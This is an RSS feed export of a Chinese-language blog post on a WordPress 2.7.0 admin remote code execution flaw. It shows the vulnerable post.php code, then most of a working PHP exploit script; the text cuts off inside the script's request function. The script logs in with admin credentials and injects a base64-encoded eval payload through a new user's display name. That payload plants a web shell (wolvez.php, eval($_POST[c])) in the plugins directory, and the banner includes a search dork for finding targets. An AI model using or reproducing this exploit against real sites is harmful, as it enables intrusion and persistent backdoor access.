<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>kypan&#039;s 札記 &#187; 資訊安全</title>
	<atom:link href="http://note.ajneok.org/category/%e8%b3%87%e8%a8%8a%e5%ae%89%e5%85%a8/feed/" rel="self" type="application/rss+xml" />
	<link>http://note.ajneok.org</link>
	<description></description>
	<lastBuildDate>Sun, 06 Feb 2011 08:24:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>WordPress 2.7.0 admin remote code execution vulnerability</title>
		<link>http://note.ajneok.org/uncategorized/wordpress-270-admin-remote-code-execution-vulnerability/</link>
		<comments>http://note.ajneok.org/uncategorized/wordpress-270-admin-remote-code-execution-vulnerability/#comments</comments>
		<pubDate>Tue, 23 Dec 2008 08:03:16 +0000</pubDate>
		<dc:creator>kypan</dc:creator>
				<category><![CDATA[未分類]]></category>
		<category><![CDATA[網路文章]]></category>
		<category><![CDATA[資訊安全]]></category>

		<guid isPermaLink="false">http://note.ajneok.org/?p=167</guid>
		<description><![CDATA[by Ryat[puretot] mail: puretot at gmail dot com team: http://www.80vul.com date: 2008-12-18 一分析: 這個漏洞出在後台:wp-admin/post.php if&#160;( current_user_can('edit_post', $post_ID) ) { &#160; &#160; &#160; &#160; if&#160;( $last = wp_check_post_lock( $post-&#62;ID ) ) { &#160; &#160; &#160; &#160; &#160; &#160; $last_user = get_userdata(&#160;$last ); &#160; &#160; &#160; &#160; &#160; &#160; $last_user_name = $last_user ? $last_user-&#62;display_name : __('Somebody'); &#160; [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>by Ryat[puretot]<br />
mail: puretot at gmail dot com<br />
team: http://www.80vul.com<br />
date: 2008-12-18</p></blockquote>
<p><strong>一分析</strong>:<br />
這個漏洞出在後台:<strong>wp-admin/post.php</strong></p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"><span style="color: Green;">if</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: Gray;"> </span><span style="color: Blue;">current_user_can</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">edit_post</span><span style="color: #8b0000;">'</span><span style="color: Gray;">, </span><span style="color: #00008b;">$post_ID</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">if</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: Gray;"> </span><span style="color: #00008b;">$last</span><span style="color: Gray;"> = </span><span style="color: Blue;">wp_check_post_lock</span><span style="color: Olive;">(</span><span style="color: Gray;"> </span><span style="color: #00008b;">$post</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">ID</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$last_user</span><span style="color: Gray;"> = </span><span style="color: Blue;">get_userdata</span><span style="color: Olive;">(</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$last</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$last_user_name</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$last_user</span><span style="color: Gray;"> ? </span><span style="color: #00008b;">$last_user</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">display_name</span><span style="color: Gray;"> : </span><span style="color: Blue;">__</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">Somebody</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$message</span><span style="color: Gray;"> = </span><span style="color: Blue;">sprintf</span><span style="color: Olive;">(</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">__</span><span style="color: Olive;">(</span><span style="color: Gray;"> </span><span style="color: #8b0000;">'</span><span style="color: Red;">Warning: %s is currently editing this post</span><span style="color: #8b0000;">'</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;">, </span><span style="color: Blue;">wp_specialchars</span><span style="color: Olive;">(</span><span style="color: Gray;"> </span><span style="color: #00008b;">$last_user_name</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$message</span><span style="color: Gray;"> = </span><span style="color: Blue;">str_replace</span><span style="color: Olive;">(</span><span style="color: Gray;">&nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">'</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">, </span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\'</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">, </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">&lt;div class='error'&gt;&lt;p&gt;</span><span style="color: #00008b;">$message</span><span style="color: Red;">&lt;/p&gt;&lt;/div&gt;</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">//提交\'經過此處代碼處理後變為\\' :)</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">add_action</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">admin_notices</span><span style="color: #8b0000;">'</span><span style="color: Gray;">, </span><span style="color: Blue;">create_function</span><span style="color: Olive;">(</span><span style="color: Gray;">&nbsp;</span><span style="color: #8b0000;">''</span><span style="color: Gray;">, </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">echo '</span><span style="color: #00008b;">$message</span><span style="color: Red;">';</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">//利用上面的方法閉合echo後面的單引號,就可以執行命令了[ex:\';phpinfo();\'];另外這個地方也可以利用create_function函數自身的一個bug[1]來執行命令[ex:\';}phpinfo();//]</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">else</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">wp_set_post_lock</span><span style="color: Olive;">(</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$post</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">ID</span><span style="color: Gray;"> </span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">wp_enqueue_script</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">autosave</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
</ol></div>
<p><span id="more-167"></span><br />
exploit:</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"><span style="color: Gray;">#!/usr/bin/php</span></li>
<li><span style="color: Blue;">&lt;?php</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Blue;">print_r</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span></li>
<li><span style="color: Red;">+---------------------------------------------------------------------------+</span></li>
<li><span style="color: Red;">Wordpress 2.7.0 remote code execution exploit</span></li>
<li><span style="color: Red;">by puret_t</span></li>
<li><span style="color: Red;">mail: puretot at gmail dot com</span></li>
<li><span style="color: Red;">team: http://www.wolvez.org</span></li>
<li><span style="color: Red;">site: http://www.80vul.com</span></li>
<li><span style="color: Red;">dork: &quot;powered by WordPress&quot;</span></li>
<li><span style="color: Red;">+---------------------------------------------------------------------------+</span></li>
<li><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;"> * works regardless of php.ini settings</span></li>
<li><span style="color: #ffa500;"> */</span></li>
<li><span style="color: Green;">if</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: #00008b;">$argc</span><span style="color: Gray;"> &lt; </span><span style="color: Maroon;">6</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Blue;">print_r</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span></li>
<li><span style="color: Red;">+---------------------------------------------------------------------------+</span></li>
<li><span style="color: Red;">Usage: php </span><span style="color: #8b0000;">'</span><span style="color: Gray;">.</span><span style="color: #00008b;">$argv</span><span style="color: Olive;">[</span><span style="color: Maroon;">0</span><span style="color: Olive;">]</span><span style="color: Gray;">.</span><span style="color: #8b0000;">'</span><span style="color: Red;"> host path user pass post</span></li>
<li><span style="color: Red;">host:&nbsp; &nbsp; &nbsp; target server (ip/hostname)</span></li>
<li><span style="color: Red;">path:&nbsp; &nbsp; &nbsp; path to wordpress</span></li>
<li><span style="color: Red;">user:&nbsp; &nbsp; &nbsp; admin login username</span></li>
<li><span style="color: Red;">pass:&nbsp; &nbsp; &nbsp; admin login password</span></li>
<li><span style="color: Red;">post:&nbsp; &nbsp; &nbsp; the available post id</span></li>
<li><span style="color: Red;">Example:</span></li>
<li><span style="color: Red;">php </span><span style="color: #8b0000;">'</span><span style="color: Gray;">.</span><span style="color: #00008b;">$argv</span><span style="color: Olive;">[</span><span style="color: Maroon;">0</span><span style="color: Olive;">]</span><span style="color: Gray;">.</span><span style="color: #8b0000;">'</span><span style="color: Red;"> localhost /wp/ admin 123456 1</span></li>
<li><span style="color: Red;">+---------------------------------------------------------------------------+</span></li>
<li><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">exit</span><span style="color: Gray;">;</span></li>
<li><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Blue;">error_reporting</span><span style="color: Olive;">(</span><span style="color: Maroon;">7</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Blue;">ini_set</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">max_execution_time</span><span style="color: #8b0000;">'</span><span style="color: Gray;">, </span><span style="color: Maroon;">0</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: #00008b;">$host</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$argv</span><span style="color: Olive;">[</span><span style="color: Maroon;">1</span><span style="color: Olive;">]</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$path</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$argv</span><span style="color: Olive;">[</span><span style="color: Maroon;">2</span><span style="color: Olive;">]</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$user</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$argv</span><span style="color: Olive;">[</span><span style="color: Maroon;">3</span><span style="color: Olive;">]</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$pass</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$argv</span><span style="color: Olive;">[</span><span style="color: Maroon;">4</span><span style="color: Olive;">]</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$post</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$argv</span><span style="color: Olive;">[</span><span style="color: Maroon;">5</span><span style="color: Olive;">]</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: #00008b;">$shellcode</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">'</span><span style="color: Navy;">\\\'</span><span style="color: Red;">;eval(base64_decode(ZnB1dHMoZm9wZW4oJy4uL3dwLWNvbnRlbnQvcGx1Z2lucy93b2x2ZXoucGhwJywndysnKSwnPD9ldmFsKCRfUE9TVFtjXSk7Pz5wdXJldF90Jyk7));</span><span style="color: Navy;">\\\'</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;</span></li>
<li><span style="color: #ffa500;">//$shellcode = '\\\';}eval(base64_decode(ZnB1dHMoZm9wZW4oJy4uL3dwLWNvbnRlbnQvcGx1Z2lucy93b2x2ZXoucGhwJywndysnKSwnPD9ldmFsKCRfUE9TVFtjXSk7Pz5wdXJldF90Jyk7));//';</span></li>
<li><span style="color: #00008b;">$shell</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">'</span><span style="color: Red;">http://</span><span style="color: #8b0000;">'</span><span style="color: Gray;">.</span><span style="color: #00008b;">$host</span><span style="color: Gray;">.</span><span style="color: #00008b;">$path</span><span style="color: Gray;">.</span><span style="color: #8b0000;">'</span><span style="color: Red;">wp-content/plugins/wolvez.php</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;</span></li>
<li><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;"> * wolvez.php has this code:</span></li>
<li><span style="color: #ffa500;"> * &lt;?eval($_POST[c])?&gt;</span></li>
<li><span style="color: #ffa500;"> */</span></li>
<li><span style="color: #00008b;">$url</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$path</span><span style="color: Gray;">.</span><span style="color: #8b0000;">'</span><span style="color: Red;">wp-login.php</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$cmd</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">'</span><span style="color: Red;">log=</span><span style="color: #8b0000;">'</span><span style="color: Gray;">.</span><span style="color: Blue;">urlencode</span><span style="color: Olive;">(</span><span style="color: #00008b;">$user</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: #8b0000;">'</span><span style="color: Red;">&amp;pwd=</span><span style="color: #8b0000;">'</span><span style="color: Gray;">.</span><span style="color: Blue;">urlencode</span><span style="color: Olive;">(</span><span style="color: #00008b;">$pass</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$resp</span><span style="color: Gray;"> = </span><span style="color: Blue;">send</span><span style="color: Olive;">()</span><span style="color: Gray;">;</span></li>
<li><span style="color: Blue;">preg_match</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">/Set-Cookie:\s(wordpress_[a-f0-9]+=[a-zA-Z0-9%]+);/</span><span style="color: #8b0000;">'</span><span style="color: Gray;">, </span><span style="color: #00008b;">$resp</span><span style="color: Gray;">, </span><span style="color: #00008b;">$admin_cookie</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Green;">if</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: #00008b;">$admin_cookie</span><span style="color: Olive;">)</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">exit</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Exploit Failed!</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: #00008b;">$url</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$path</span><span style="color: Gray;">.</span><span style="color: #8b0000;">'</span><span style="color: Red;">wp-admin/user-new.php#add-new-user</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$cmd</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">''</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$resp</span><span style="color: Gray;"> = </span><span style="color: Blue;">send</span><span style="color: Olive;">(</span><span style="color: #00008b;">$admin_cookie</span><span style="color: Olive;">[</span><span style="color: Maroon;">1</span><span style="color: Olive;">])</span><span style="color: Gray;">;</span></li>
<li><span style="color: Blue;">preg_match</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">/name=&quot;_wpnonce&quot;\svalue=&quot;([a-z0-9]{10})&quot;/</span><span style="color: #8b0000;">'</span><span style="color: Gray;">, </span><span style="color: #00008b;">$resp</span><span style="color: Gray;">, </span><span style="color: #00008b;">$_wpnonce</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Green;">if</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: #00008b;">$_wpnonce</span><span style="color: Olive;">)</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">exit</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Exploit Failed!</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: #00008b;">$cmd</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">'</span><span style="color: Red;">_wpnonce=</span><span style="color: #8b0000;">'</span><span style="color: Gray;">.</span><span style="color: #00008b;">$_wpnonce</span><span style="color: Olive;">[</span><span style="color: Maroon;">1</span><span style="color: Olive;">]</span><span style="color: Gray;">.</span><span style="color: #8b0000;">'</span><span style="color: Red;">&amp;action=adduser&amp;user_login=ryat&amp;email=ryat%40ryat.com&amp;pass1=123456&amp;pass2=123456&amp;role=editor&amp;display_name=</span><span style="color: #8b0000;">'</span><span style="color: Gray;">.</span><span style="color: #00008b;">$shellcode</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$resp</span><span style="color: Gray;"> = </span><span style="color: Blue;">send</span><span style="color: Olive;">(</span><span style="color: #00008b;">$admin_cookie</span><span style="color: Olive;">[</span><span style="color: Maroon;">1</span><span style="color: Olive;">])</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Green;">if</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: Blue;">strpos</span><span style="color: Olive;">(</span><span style="color: #00008b;">$resp</span><span style="color: Gray;">, </span><span style="color: #8b0000;">'</span><span style="color: Red;">users.php?usersearch=ryat&amp;update=add#user</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;"> === </span><span style="color: Green;">false</span><span style="color: Olive;">)</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">exit</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Exploit Failed!</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: #00008b;">$url</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$path</span><span style="color: Gray;">.</span><span style="color: #8b0000;">'</span><span style="color: Red;">wp-login.php</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$cmd</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">'</span><span style="color: Red;">log=ryat&amp;pwd=123456</span><span style="color: #8b0000;">'</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$resp</span><span style="color: Gray;"> = </span><span style="color: Blue;">send</span><span style="color: Olive;">()</span><span style="color: Gray;">;</span></li>
<li><span style="color: Blue;">preg_match</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">/Set-Cookie:\s(wordpress_[a-f0-9]+=[a-zA-Z0-9%]+);/</span><span style="color: #8b0000;">'</span><span style="color: Gray;">, </span><span style="color: #00008b;">$resp</span><span style="color: Gray;">, </span><span style="color: #00008b;">$editor_cookie</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Green;">if</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: #00008b;">$editor_cookie</span><span style="color: Olive;">)</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">exit</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Exploit Failed!</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: #00008b;">$url</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$path</span><span style="color: Gray;">.</span><span style="color: #8b0000;">'</span><span style="color: Red;">wp-admin/post.php?action=edit&amp;post=</span><span style="color: #8b0000;">'</span><span style="color: Gray;">.</span><span style="color: #00008b;">$post</span><span style="color: Gray;">;</span></li>
<li><span style="color: #00008b;">$cmd</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">''</span><span style="color: Gray;">;</span></li>
<li><span style="color: Blue;">send</span><span style="color: Olive;">(</span><span style="color: #00008b;">$editor_cookie</span><span style="color: Olive;">[</span><span style="color: Maroon;">1</span><span style="color: Olive;">])</span><span style="color: Gray;">;</span></li>
<li><span style="color: Blue;">send</span><span style="color: Olive;">(</span><span style="color: #00008b;">$admin_cookie</span><span style="color: Olive;">[</span><span style="color: Maroon;">1</span><span style="color: Olive;">])</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Green;">if</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: Blue;">strpos</span><span style="color: Olive;">(</span><span style="color: Blue;">file_get_contents</span><span style="color: Olive;">(</span><span style="color: #00008b;">$shell</span><span style="color: Olive;">)</span><span style="color: Gray;">, </span><span style="color: #8b0000;">'</span><span style="color: Red;">puret_t</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;"> !== </span><span style="color: Green;">false</span><span style="color: Olive;">)</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">exit</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Expoilt Success!</span><span style="color: Navy;">\n</span><span style="color: Red;">View Your shell:</span><span style="color: Navy;">\t</span><span style="color: #00008b;">$shell</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Green;">else</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">exit</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Exploit Failed!</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">send</span><span style="color: Olive;">(</span><span style="color: #00008b;">$cookie</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">''</span><span style="color: Olive;">)</span></li>
<li><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">global</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$host</span><span style="color: Gray;">, </span><span style="color: #00008b;">$path</span><span style="color: Gray;">, </span><span style="color: #00008b;">$url</span><span style="color: Gray;">, </span><span style="color: #00008b;">$cmd</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$data</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">POST </span><span style="color: #00008b;">$url</span><span style="color: Red;">&nbsp; HTTP/1.1</span><span style="color: Navy;">\r\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Accept: */*</span><span style="color: Navy;">\r\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Accept-Language: zh-cn</span><span style="color: Navy;">\r\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Referer: http://</span><span style="color: #00008b;">$host$path</span><span style="color: Navy;">\r\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Content-Type: application/x-www-form-urlencoded</span><span style="color: Navy;">\r\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">User-Agent: Mozilla/4.0 (compatible; MSIE 6.00; Windows NT 5.1; SV1)</span><span style="color: Navy;">\r\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Host: </span><span style="color: #00008b;">$host</span><span style="color: Navy;">\r\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Content-Length: </span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">.</span><span style="color: Blue;">strlen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$cmd</span><span style="color: Olive;">)</span><span style="color: Gray;">.</span><span style="color: #8b0000;">&quot;</span><span style="color: Navy;">\r\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Connection: Close</span><span style="color: Navy;">\r\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">Cookie: </span><span style="color: #00008b;">$cookie</span><span style="color: Navy;">\r\n\r\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$data</span><span style="color: Gray;"> .= </span><span style="color: #00008b;">$cmd</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$fp</span><span style="color: Gray;"> = </span><span style="color: Blue;">fsockopen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$host</span><span style="color: Gray;">, </span><span style="color: Maroon;">80</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
